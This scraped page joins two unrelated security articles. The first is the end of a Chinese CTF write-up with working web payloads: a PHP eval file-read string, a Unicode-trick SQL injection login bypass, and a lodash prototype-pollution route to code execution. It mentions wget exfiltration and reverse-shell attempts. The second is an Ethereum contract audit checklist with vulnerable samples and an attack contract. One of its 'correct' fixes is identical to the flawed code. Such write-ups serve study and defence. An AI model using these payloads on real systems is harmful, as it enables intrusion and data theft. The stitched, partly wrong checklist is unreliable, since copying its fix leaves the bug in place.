    <span class="k">eval</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'code'</span><span class="p">]);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="nb">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
<span class="p">}</span>

这个代码就简单多了,简单来说就是只能执行一个函数,但不能设置参数,这题最早出现是在RCTF2018中

https://lorexxar.cn/2018/05/23/rctf2018/

在原来的题目中是用next(getallheaders())绕过这个限制的。

但这里getallheaders是apache中的函数,这里是nginx环境,所以目标就是找一个函数其返回的内容是可以控制的就可以了。

问题就在于这种函数还不太好找,首先nginx中并没有能获取all header的函数。

所以目标基本就锁定在会不会有获取cookie,或者所有变量这种函数。在看别人writeup的时候知道了get_defined_vars这个函数

http://php.net/manual/zh/function.get-defined-vars.php

他会打印所有已定义的变量(包括全局变量GET等)。简单翻了翻PHP的文档也没找到其他会涉及到可控变量的

在原wp中有一个很厉害的操作,直接reset所有的变量。

http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/

然后只有当前get赋值,那么就只剩下get请求的变量了

后面就简单了拼接就好了

然后...直接列目录好像也是个不错的办法2333

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

easy - nodechr

nodejs的一个小问题,关键代码如下

<span class="kd">function</span> <span class="nx">safeKeyword</span><span class="p">(</span><span class="nx">keyword</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">isString</span><span class="p">(</span><span class="nx">keyword</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">keyword</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="err">/(union|select|;|\-\-)/is)) {</span>
        <span class="k">return</span> <span class="nx">keyword</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="kc">undefined</span>
<span class="p">}</span>

<span class="nx">async</span> <span class="kd">function</span> <span class="nx">login</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">method</span> <span class="o">==</span> <span class="s1">'POST'</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">safeKeyword</span><span class="p">(</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">[</span><span class="s1">'username'</span><span class="p">])</span>
        <span class="kd">let</span> <span class="nx">password</span> <span class="o">=</span> <span class="nx">safeKeyword</span><span class="p">(</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">[</span><span class="s1">'password'</span><span class="p">])</span>

        <span class="kd">let</span> <span class="nx">jump</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">router</span><span class="p">.</span><span class="nx">url</span><span class="p">(</span><span class="s1">'login'</span><span class="p">)</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">username</span> <span class="o">&amp;&amp;</span> <span class="nx">password</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">let</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">await</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">db</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="sb">`SELECT * FROM "users" WHERE "username" = '</span><span class="si">${</span><span class="nx">username</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">()</span><span class="si">}</span><span class="sb">' AND "password" = '</span><span class="si">${</span><span class="nx">password</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">()</span><span class="si">}</span><span class="sb">'`</span><span class="p">)</span>

            <span class="k">if</span> <span class="p">(</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
                <span class="nx">ctx</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">user</span> <span class="o">=</span> <span class="nx">user</span>

                <span class="nx">jump</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">router</span><span class="p">.</span><span class="nx">url</span><span class="p">(</span><span class="s1">'admin'</span><span class="p">)</span>
            <span class="p">}</span>

        <span class="p">}</span>

        <span class="nx">ctx</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="mi">303</span>
        <span class="nx">ctx</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="nx">jump</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="nx">await</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">'index'</span><span class="p">)</span>
    <span class="p">}</span>
<span class="p">}</span>

这里的注入应该是比较清楚的,直接拼接进查询语句没什么可说的。

然后safekeyword过滤了select union -- ;这四个,下面的逻辑其实说简单的就一句

c = `SELECT * FROM "users" WHERE "username" = '<span class="cp">${</span><span class="n">a</span><span class="o">.</span><span class="n">toUpperCase</span><span class="p">()</span><span class="cp">}</span>' AND "password" = '<span class="cp">${</span><span class="n">b</span><span class="o">.</span><span class="n">toUpperCase</span><span class="p">()</span><span class="cp">}</span>'`

如何构造这句来查询flag,开始看到题一味着去想盲注的办法了,后来想明白一点,在注入里,没有select是不可能去别的表里拿数据的,而题目一开始很明确的表明flag在flag表中。

所以问题就又回到了最初的地方,如何绕过safekeyword的限制。

ph师傅曾经写过一篇文章 https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

在js中部分字符会在toLowerCase和toUpperCase处理的时候发生难以想象的变化

"?"、"?"这两个字符在变大写的时候会变成I和S
"?"这个字符在变小写的时候会变成k

用在这里刚好合适不过了。

username=ddog
password=' un?on ?elect 1,flag,3 where '1'='1

hard - thejs

javascript真难....

关键代码以及注释如下

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16), // 随机数
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 模板引擎
    fs.readFile(filePath, (err, content) =&gt; {   //读文件 filepath
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)  //模板化
        let rendered = compiled({...options})   //动态引入变量

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) =&gt; {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body) // merge 合并字典
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () =&gt; console.log(`Example app listening on port 3000!`))

由于对node不熟,初看代码的时候简单研究了一下各个部分都是干嘛的。然后就发现整个站几乎没什么功能,就是获取输入然后取其中固定的输出,起码就自己写的代码来说不可能有问题。

再三思考下觉得可能问题在引入的包中...比较明显的就是lodash.merge这句,这句代码在这里非常刻意,于是就顺着这个思路去想,简单翻了一下代码发现没什么收获。后来@spine给了我一个链接

https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf

js特性

首先我们可以先回顾一下js的一部分特性。

由于js非常面向对象的编程特性,js有很多神奇的操作。

在js中你可以用各种方式操作自己的对象。

在js中,所有的对象都是从各种基础对象继承下来的,所以每个对象都有他的父类,通过prototype可以直接操作修改父类的对象。

而且子类会继承父类的所有方法

在js中,每个对象都有两个魔术方法,一个是constructor另一个是__proto__

对于实例来说,constructor代表其构造函数,像前面说的一样,函数可以通过prototype获取其父对象

<span class="kd">function</span> <span class="nx">myclass</span> <span class="p">()</span> <span class="p">{}</span>

<span class="nx">myclass</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">myfunc</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span><span class="k">return</span> <span class="mi">233</span><span class="p">;}</span>

<span class="kd">var</span> <span class="nx">inst</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">myclass</span><span class="p">();</span>

<span class="nx">inst</span><span class="p">.</span><span class="kr">constructor</span> <span class="c1">// return function myclass</span>
<span class="nx">inst</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span> <span class="c1">// return the prototype of myclass</span>
<span class="nx">inst</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">myfunc</span><span class="p">()</span> <span class="c1">// return 233</span>

而另一个魔术方法__proto__就等价于.constructor.prototype

由于子类会继承父类的所有方法,所以如果在当前对象中找不到该方法,就会到父类中去找,直到找不到才会爆错

在复习了上面的特性之后,我们回到这个漏洞

回到漏洞

在漏洞分析文中提到了这样一种方式

https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf

假设对于语句

obj[a][b][c] = value

如果我们控制a为constructor,b为prototype,c为某个key,我们是不是就可以为这个对象父类初始化某个值,这个值会被继承到当前对象。同理如果a为__proto__,b也为__proto__,那么我们就可以为基类Object定义某个值。

当然这种代码不会随时都出现,所以在实际场景下,这种攻击方式会影响什么样的操作呢。

首先我们需要理解的就是,我们想办法赋值的__proto__对象并不是真正的这个对象,如图

所以想要写到真正的__proto__中,我们需要一层赋值,就如同原文范例代码中的那样

通过这样的操作,我们就可以给Object基类定义一个变量名。

由于子类会继承父类的所有方法,但首先需要保证子类没有定义这个变量,因为只有当前类没有定义这个变量,才会去父类寻找

在js代码中,经常能遇到这样的代码

if (!obj.aaa){
    ...
}

这种情况下,js会去调用obj的aaa方法,如果aaa方法undefined,那么就会跟入到obj的父类中(js不会直接报该变量未定义并终止)。

这种情况下,我们通过定义obj的基类Object的aaa方法,就能操作这个变量,改变原来的代码走向。

最后让我们回到题目中来。

回到题目

回到题目中,这下代码的问题点很清楚了。整个代码有且只有1个输入点也就是req.body,这个变量刚好通过lodash.merge合并.

这里的lodash.merge刚好也就是用于将两个对象合并,成功定义了__proto__对象的变量。

我们也可以通过上面的技巧去覆盖某个值,但问题来了,我们怎么才能getshell呢?

顺着这个思路,我需要在整个代码中寻找一个,在影响Object之后,且可以执行命令的地方。

很幸运的是,虽然我没有特别研究明白nodejs,但我还是发现模板是动态生成的。

这里的代码是在请求后完成的(动态渲染?)

跟入到template函数中,可以很清楚的看到

接下来就是这一大串代码中寻找一个可以影响的变量,我们的目标是找一个未定义的变量,且后面有判断调用它

这里的sourceURL刚好符合这个条件,我们直接跟入前面的options定义处,进入函数一直跟下去,直到lodash.js的3515行。

可以看到object本身没有这个方法,但仍然遍历到了,成功注入了这个变量,紧接着渲染模板就成功执行代码了。

完成攻击

其实发现可以注入代码之后就简单了,我朋友说他不能用child_process来执行命令,我测试了一下发现是可以的,只是不能弹shell回来不知道怎么回事。思考了一下决定直接wget外带数据出来吧。

poc

需要注意一定要是json格式,否则__proto__会解成字符串,开始坑了很久。

直接偷懒用ceye接请求,其实用什么都行


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/755/

原文阅读

Ethereum Smart Contract Audit CheckList
Elfinx 2018-12-10 2:18 转存
Author: Knownsec 404 Blockchain Security Research Team
Time: 2018.12.05
Chinese Version: https://paper.seebug.org/741/
Project link: https://github.com/knownsec/Ethereum-Smart-Contracts-Security-CheckList
In the Ethereum contract audit CheckList, I divided the 29 issues encountered in Ethereum contract auditing into five major categories, including coding specification issues, design defect issues, coding security issues, coding design issues, and coding security issues. This will help smart contract developers and security workers get started quickly with smart contract security.This CheckList refers to and collates with the research results of the major blockchain security research teams in the completion process. Once imperfections/errors occurred, welcome to submit issues.Because this article is mainly a CheckList, the article will not contain too detailed vulnerability/hazard information, and most of the vulnerability analysis will be mentioned in the scanning report.

1. Coding specification issue

(1) Compiler version

In the contract code, the compiler version should be specified. It is recommended to use the latest compiler version.

pragma solidity ^0.4.25;

Compilers of older versions may cause various known security issues, such as https://paper.seebug.org/631/#44-dividenddistributor

V0.4.23 updates a compiler vulnerability. In this version, if both constructors are used, i.e.,

contract a {
    function a() public{
        ...
    }
    constructor() public{
        ...
    }
}

one of the constructors will be ignored, which only affects v0.4.22. V0.4.25 fixes the uninitialized storage pointer problem mentioned below.

https://etherscan.io/solcbuginfo

(2) Constructor writing issue

The correct constructor should be used for different compiler versions, otherwise the contract owner may change.

In the solidify compiler syntax requirements of versions less than 0.4.22, the contract constructor must be equal to the contract name, and the name is affected by the case, e.g.,

contract Owned {
    function Owned() public{
    }

After version 0.4.22, the constructor keyword was introduced as a constructor declaration. But no function is required.

contract Owned {
    constructor() public {
    }

If you don't follow the corresponding method, the constructor will be compiled into a normal function, which can be called arbitrarily, leading to more serious consequences such as owner permission.

(3) Return standard

Following the ERC20 specification, the transfer and approve functions should return a bool value, and a return value code needs to be added.

function transfer(address _to, uint256 _value) public returns (bool success)

The result of transferFrom should be consistent with the result returned by transfer.

(4) Event standard

Follow the ERC20 specification and require the transfer and approve functions to trigger the corresponding event.

function approve(address _spender, uint256 _value) public returns (bool success){
    allowance[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value)
    return true

(5) Fake recharge issue

In the transfer function, the judgment of the balance and the transfer amount needs to use the require function to throw an error, otherwise it will judge that the transaction is successful mistakingly.

function transfer(address _to, uint256 _value) returns (bool success) {
    if (balances[msg.sender] &gt;= _value &amp;&amp; _value &gt; 0) {
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    } else { return false; }
}

The above code may cause false recharge.

The correct code is as follows:

function transfer(address _to, uint256 _value) returns (bool success) {
    if (balances[msg.sender] &gt;= _value &amp;&amp; _value &gt; 0) {
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    } else { return false; }
}

2. Design defect issue

(1) Approve authorization function conditional competition

Conditional competition should be avoided in the approve function. Before modifying the allowance, you should change it to 0 first and then to _value.

The reason for this vulnerability is that in order to encourage miners to mine in the underlying miners' agreement, the miners can decide what to pack for themselves. In order to make more profits, the miners generally choose to package the deals with larger gas prices, rather than relying on the order of transactions.

By setting 0, the hazards arising from the conditional competition can be alleviated to some extent. The contract manager can check the log to determine if there is a conditional competition. The greater significance of this fix is to remind users who use the approve function. The operation of this function is irreversible to some extent.

function approve(address _spender, uint256 _value) public returns (bool success){
    allowance[msg.sender][_spender] = _value;
    return true

The above code may lead to conditional competition.

So add the following in the approve function:

require((_value == 0) || (allowance[msg.sender][_spender] == 0));

Change the allowance to 0 and then the corresponding number.

(2) Loop dos issue

[1] Loop consumption issue

It is not recommended to use too many loops in contracts.

In Ethereum, each transaction consumes a certain amount of gas, and the actual consumption is determined by the complexity of the transaction. The larger the number of loops, the higher the complexity of the transaction. When the maximum allowable gas consumption is exceeded, the transaction will fail.

Real world event

Simoleon (SIM)

Pandemica

[2] Loop security issue

In the contract, the number of loops should be prevented from being controlled by the user. And the attacker may use an excessive loop to complete the Dos attack.

When a user needs to transfer money to multiple accounts at the same time, we need to traverse the transfer of the target account list, which may lead to DoS attacks.

function Distribute(address[] _addresses, uint256[] _values) payable returns(bool){
    for (uint i = 0; i &lt; _addresses.length; i++) {
        transfer(_addresses[i], _values[i]);
    }
    return true;
}

In the above situation, it is recommended to use withdrawFunds to let the user retrieve their token instead of sending it to the corresponding account. This can reduce the hazard to a certain extent.

If the above code controls a function call, then it can construct a huge loop to consume gas, causing a Dos problem.

3. Coding security issue

(1) Overflow issue

[1] Arithmetic overflow

When calling addition, subtraction, multiplication and division, you should use the safeMath library instead, otherwise it will easily lead to calculation overflow, resulting in inevitable loss.

pragma solidity ^0.4.18;

contract Token {

  mapping(address =&gt; uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value &gt;= 0); //Bypass the judgment by underflow.
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}

balances[msg.sender] - _value >= 0

You can bypass the judgment by underflow.

The usual fix is to use openzeppelin-safeMath, but it may also be limited by judging different variables. However, it is difficult to impose restrictions on multiplication and exponential multiplication.

The correct writing:

function transfer(address _to, uint256 _amount)  public returns (bool success) {
    require(_to != address(0));
    require(_amount &lt;= balances[msg.sender]);

    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = balances[_to].add(_amount);
    emit Transfer(msg.sender, _to, _amount);
    return true;
}

Real world event

Hexagon

SMT/BEC

[2] Coin/destroy overflow issue

In the coin/destroy function, the upper limit should be set for totalSupply to avoid the increase in malicious coinage events due to vulnerabilities such as arithmetic overflow.

function TokenERC20(
    uint256 initialSupply,
    string tokenName,
    string tokenSymbol
) public {
    totalSupply = initialSupply * 10 ** uint256(decimals);  
    balanceOf[msg.sender] = totalSupply;                
    name = tokenName;                                   
    symbol = tokenSymbol;                               
}

There is no limit to totalSupply in the above code, which may cause the exponential arithmetic overflow.

The correct writing:

contract OPL {
    // Public variables
    string public name;
    string public symbol;
    uint8 public decimals = 18; // 18 decimals
    bool public adminVer = false;
    address public owner;
    uint256 public totalSupply;
    function OPL() public {
        totalSupply = 210000000 * 10 ** uint256(decimals);      
        ...                                 
}

Real world event

(2) Reentrancy vulnerability

Avoid using call to trade in smart contracts to avoid reentrancy vulnerabilities.

In the smart contract, call, send, and transfer are provided to trade eth. The biggest difference for call is that there is no limit for gas. The other two, when the gas is not enough, will report out of gas.

There are several characteristics of reentrancy vulnerability.

  1. Using the call function.
  2. There is no limit for the call function gas.
  3. Deducting the balance after the transfer.
  4. Adding () to execute the fallback

function withdraw(uint _amount) {
    require(balances[msg.sender] &gt;= _amount);
    msg.sender.call.value(_amount)();
    balances[msg.sender] -= _amount;
}

The above code is a simple demo of reentrancy vulnerability. A large number of contract tokens are recursively transferred by reentrancy vulnerabilities.

For possible reentrancy issues, use the transfer function to complete the transfer as much as possible, or limit the gas execution of the call. These can effectively reduce the harm.

contract EtherStore {

    // initialise the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address =&gt; uint256) public lastWithdrawTime;
    mapping(address =&gt; uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(!reEntrancyMutex);
        require(balances[msg.sender] &gt;= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw &lt;= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now &gt;= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);
        // release the mutex after the external call
        reEntrancyMutex = false; 
    }
 }

The above code is a way to use mutex lock to avoid recursive protection.

Real world event

The Dao

(3) Call injection

When the call function is invoked, you should do strict permission control, or write the function invoked to hardcode directly.

In the design of EVM, if the parameter data of the call is 0xdeadbeef (assumed function name) + 0x0000000000.....01, then it is the invoke function.

Call function injection can lead to token stealing and permission bypass. Private functions and even partially high-privilege functions can be called through call injection.

addr.call(data);             
addr.delegatecall(data); 
addr.callcode(data);

For example, when the delegatecall function must call another contract within the contract, the keyword library can be used to ensure that the contract is static and indestructible. By forcing the contract to be static, the storage environment can be simple to a certain extent and preventing the attacker from attacking the contract by modifying the state.

Real world events

call injection

(4) Permission control

Different functions in the contract should have reasonable permission settings.

Check whether the functions in the contract use public, private and other keywords correctly for visibility modification. Check whether the contract is correctly defined and use the modifier to restrict access to key functions to avoid unauthorized control.

function initContract() public {
    owner = msg.sender;
}

The above code should not be a public function.

Real world event

Parity Multi-sig bug 1

Parity Multi-sig bug 2

Rubixi

(5) Replay attack

If the contract involves the demands for entrusted management, attention should be paid to the non-reusability of verification to avoid replay attacks.

In the asset management system, there are often cases of entrusted management. The principal gives the assets to the trustee for management and pays a certain fee to the trustee. This business scenario is also common in smart contracts.

Here is an example of the transferProxy function, which is used when user1 transfers token to user3 but does not have eth to pay for gas price. In this case, user2 is delegated for payment by calling transferProxy.

function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,
    uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){

    if(balances[_from] &lt; _fee + _value 
        || _fee &gt; _fee + _value) revert();

    uint256 nonce = nonces[_from];
    bytes32 h = keccak256(_from,_to,_value,_fee,nonce,address(this));
    if(_from != ecrecover(h,_v,_r,_s)) revert();

    if(balances[_to] + _value &lt; balances[_to]
        || balances[msg.sender] + _fee &lt; balances[msg.sender]) revert();
    balances[_to] += _value;
    emit Transfer(_from, _to, _value);

    balances[msg.sender] += _fee;
    emit Transfer(_from, msg.sender, _fee);

    balances[_from] -= _value + _fee;
    nonces[_from] = nonce + 1;
    return true;
}

The problem with this function is that the nonce value is predictable. Replay attacks can be performed with other variables unchanged which lead to multiple transfers.

The vulnerability stems from the DEF CON 2018 topics.

Replay Attacks on Ethereum Smart Contracts Replay Attacks on Ethereum Smart Contracts pdf

4. Coding design issue

(1) Address initialization issue

When the address is involved in a function, it is recommended to add the verification of require(_to!=address(0)) to effectively avoid unnecessary loss caused by user misuse or unknown errors.

The address that EVM initializes when compiling the contract code is 0. If the developer initializes an address variable in the code without setting an initial value, or the user does not initialize the address variable upon any mis-operation, and this variable is called in the following code, unnecessary security risks may rise.

This type of check can be used in the simplest way to avoid issues such as unknown errors or short address attacks.

(2) Judgment function issue

When the conditional judgment is involved, the require function instead of the assert function is used. Because assert will cause the remaining gas to be consumed, but they are consistent in other aspects.

It is worth noting that the assert has mandatory consistency. For static variables, assert can be used to avoid some unknown problems, because it will force the termination of the contract and make it invalid. And in some conditions, assert may be more suitable.

(3) Balance judgment issue

Don't assume that the contract is created with a balance of 0 and the transfer can be forced.

Be cautious to write invariants for checking account balances, because an attacker can send wei to any account forcibly, even if the fallback function throws.

The attacker can create a contract with 1wei and then call selfdestruct(victimAddress) to destroy it. This balance is forcibly transferred to the target, and the target contract has no code to execute and cannot be blocked.

It is worth noting that during the packaging process, the attacker can transfer before the contract is created through race condition so that the balance is not 0 when the contract is created.

(4) Transfer function issue

Upon completing a transaction, it is recommended to use transfer instead of send by default.

When the target of the transfer or send function is a contract, the contract's fallback function will be invoked. But if the fallback function failed to execute, transfer will throw an error and automatically roll back, and send will return false. Therefore, you need to judge the return type when using send. Otherwise, the transfer may fail and the balance will decrease.

function withdraw(uint256 _amount) public {
    require(balances[msg.sender] &gt;= _amount);
    balances[msg.sender] -= _amount;
    etherLeft -= _amount;
    msg.sender.send(_amount);  
}

The above code use the send() function to transfer, because there is no check for the returned value of the send() function.

If msg.sender fail to call the contract account fallback(), send() returns false, which eventually results in a reduction in the account balance with money loss.

(5) External call design issue

For external contracts, pull instead of push is preferred.

In the case of external calls, unpredictable failure happens. In order to avoid unknown loss, the external operations should be changed into user's own disposal.

Error example:

contract auction {
    address highestBidder;
    uint highestBid;

    function bid() payable {
        if (msg.value &lt; highestBid) throw;

        if (highestBidder != 0) {
            if (!highestBidder.send(highestBid)) { // An error may occur.
                throw;
            }
        }

       highestBidder = msg.sender;
       highestBid = msg.value;
    }
}

When a transfer to a party is required, the transfer is changed to define the withdraw function, allowing the user to execute the function by himself and withdraw the balance. This will avoid unknown losses to the greatest extent.

Example code:

contract auction {
    address highestBidder;
    uint highestBid;
    mapping(address =&gt; uint) refunds;

    function bid() payable external {
        if (msg.value &lt; highestBid) throw;

        if (highestBidder != 0) {
            refunds[highestBidder] += highestBid; // Recorded in the refunds.
        }

        highestBidder = msg.sender;
        highestBid = msg.value;
    }

    function withdrawRefund() external {
        uint refund = refunds[msg.sender];
        refunds[msg.sender] = 0;
        if (!msg.sender.send(refund)) {
            refunds[msg.sender] = refund; // It can be recovered if the transfer is wrong.
        }
    }
}

(6) Error handling

When the contract involves a call or other methods that operates at the base level of the address function, make reasonable error handling.

address.call()
address.callcode()
address.delegatecall()
address.send()

If such an operation encounters an error, it will not throw an exception but return false and continue the execution.

function withdraw(uint256 _amount) public {
    require(balances[msg.sender] &gt;= _amount);
    balances[msg.sender] -= _amount;
    etherLeft -= _amount;
    msg.sender.send(_amount);  
}

The above code does not verify the return value of send. If msg.sender is a contract account, send returns false when the fallback call fails.

So when using the above method, you need to check the return value and make error handling.

if(!someAddress.send(55)) {
    // Some failure code
}

https://paper.seebug.org/607/#4-unchecked-return-values-for-low-level-calls

It's worth noting that as a part of the EVM design, the following functions will return True if the contract being called does not exist.

call、delegatecall、callcode、staticcall

Before calling such functions, you need to check the validity of the address.

(7) Weak random number issue

The method of generating random numbers on smart contracts requires more considerations.

The Fomo3D contract introduces the block information as a parameter for generating the random number seed in the airdrop reward, which causes the random number seed to be affected only by the contract address and cannot be completely random.

function airdrop()
    private 
    view 
    returns(bool)
{
    uint256 seed = uint256(keccak256(abi.encodePacked(

        (block.timestamp).add
        (block.difficulty).add
        ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
        (block.gaslimit).add
        ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
        (block.number)

    )));
    if((seed - ((seed / 1000) * 1000)) &lt; airDropTracker_)
        return(true);
    else
        return(false);
}

The above code directly led to the Fomo3D incident causing more than a few thousands eth loss.

So when it comes to such applications in a contract, it is important to consider a more appropriate generation method and a reasonable order of use.

Here is a reasonable random number generation method hash-commit-reveal, i.e., the player submits the action plan and the hash to the back end, which then generates the corresponding hash value as well as the random number to reveal and returns the corresponding random number to commit. In this way, the server can't get the action plan, and the client can't get the random number.

One great implementation code is the random number generation code for dice2win.(https://etherscan.io/address/0xD1CEeeefA68a6aF0A5f6046132D986066c7f9426)

But the biggest problem with hash-commit-reveal is that the server will get all the data in the process briefly after user submits. Maliciously suspending the attack will destroy the fairness to some extent. Detailed analysis can be found in the smart contract game - Dice2win security analysis.

Of course, hash-commit is also a good implementation in some simple scenarios, i.e., the player submits the action plan hash before generating a random number and submitting the action plan.

Real world event

Fomo3D Incident

Last Winner

(8) Variable coverage vulnerability

Avoid the key of the array variable in contract being controlled.

map[uint256(msg.sender)+x] = blockNum;

In EVM, arrays are different from other types. As arrays are dynamically sized, array data is calculated as

address(map_data) = sha3(key)+offset

The key is the position defined by the map variable, i.e., 1. The offset refers to the offset in the array, e.g., for map[2], the offset is 2.

The address of map[2] is sha3(1)+2. Assuming map[2]=2333, storage[sha3(1)+2]=2333.

This is a problem because offset is controllable so that we can write values to any address of the storage.

This may overwrite the value of any address in the storage, affecting the logic of the code itself, leading to even more serious problems.

For detailed principles, please refer to - 以太坊智能合约 OPCODE 逆向之理论基础篇 - https://paper.seebug.org/739

5. Code hidden danger

(1) Grammatical property issue

Be careful with the rounding down of integer division in smart contracts.

In smart contracts, all integer divisions are rounded down to the nearest integer. For higher precision, a multiplier is needed to increase this number.

If the problem occurs explicitly in the code, the compiler will raise an error and cannot continue compiling. However, if it appears implicitly, the round-down approach will be taken.

Error example:

uint x = 5 / 2; // 2

Correct code:

uint multiplier = 10;
uint x = (5 * multiplier) / 2;

(2) Data privacy

note that all data in the chain is public.

In the contract, all data including private variables are public. Privacy data cannot be stored on the chain.

(3) Data reliability

In the contract, the timestamp should not be allowed to appear in the code to avoid interference by the miners. Instead, the constant data such as block.height should be used.

uint someVariable = now + 1;
if (now % 2 == 0) 
{ // The now may be controlled by miners.
}

(4) Gas consumption optimization

For some functions and variables that do not involve state changes, you can add constant to avoid gas consumption.

contract EUXLinkToken is ERC20 {
    using SafeMath for uint256;
    address owner = msg.sender;

    mapping (address =&gt; uint256) balances;
    mapping (address =&gt; mapping (address =&gt; uint256)) allowed;
    mapping (address =&gt; bool) public blacklist;

    string public constant name = "xx";
    string public constant symbol = "xxx";
    uint public constant decimals = 8;
    uint256 public totalSupply = 1000000000e8;
    uint256 public totalDistributed = 200000000e8;
    uint256 public totalPurchase = 200000000e8;
    uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);

    uint256 public value = 5000e8;
    uint256 public purchaseCardinal = 5000000e8;

    uint256 public minPurchase = 0.001e18;
    uint256 public maxPurchase = 10e18;

(5) Contract users

In the contract, we should try to consider the situation when the trading target is the contract and avoid the various malicious uses incurred thereby.

contract Auction{
    address public currentLeader;
    uint256 public hidghestBid;

    function bid() public payable {
        require(msg.value &gt; highestBid);
        require(currentLeader.send(highestBid));
        currentLeader = msg.sender;
        highestBid = currentLeader;
    }
}

The above contract is a typical case when the contract is not considered as a user. This is a simple bidding code to compete for the king. When the trade ether is bigger than the highestBid in the contract, the current user will become the current "king" of the contract, and his trading amount will become the new highestBid.

contract Attack {
    function () { revert(); }

    function Attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("bid()")));
    }
}

However, when a new user tries to become the new "king" and the code executes to require(currentLeader.send(highestBid));, the fallback function in the contract is triggered. If the attacker adds a revert() function to the fallback function, the transaction will return false and the transaction will never be completed. Then the current contract will always be the current "king" of the contract.

(6) Log records

Key events should have an Event record. In order to facilitate operation, maintenance and monitoring, in addition to functions such as transfer and authorization, other operations also need to add detailed event records such as administrator permission transfer and other special main functions.

function transferOwnership(address newOwner) onlyOwner public {
    owner = newOwner;
    emit OwnershipTransferred(owner, newowner);
    }

(7) Fallback function

Define the Fallback function in the contract and make the Fallback function as simple as possible.

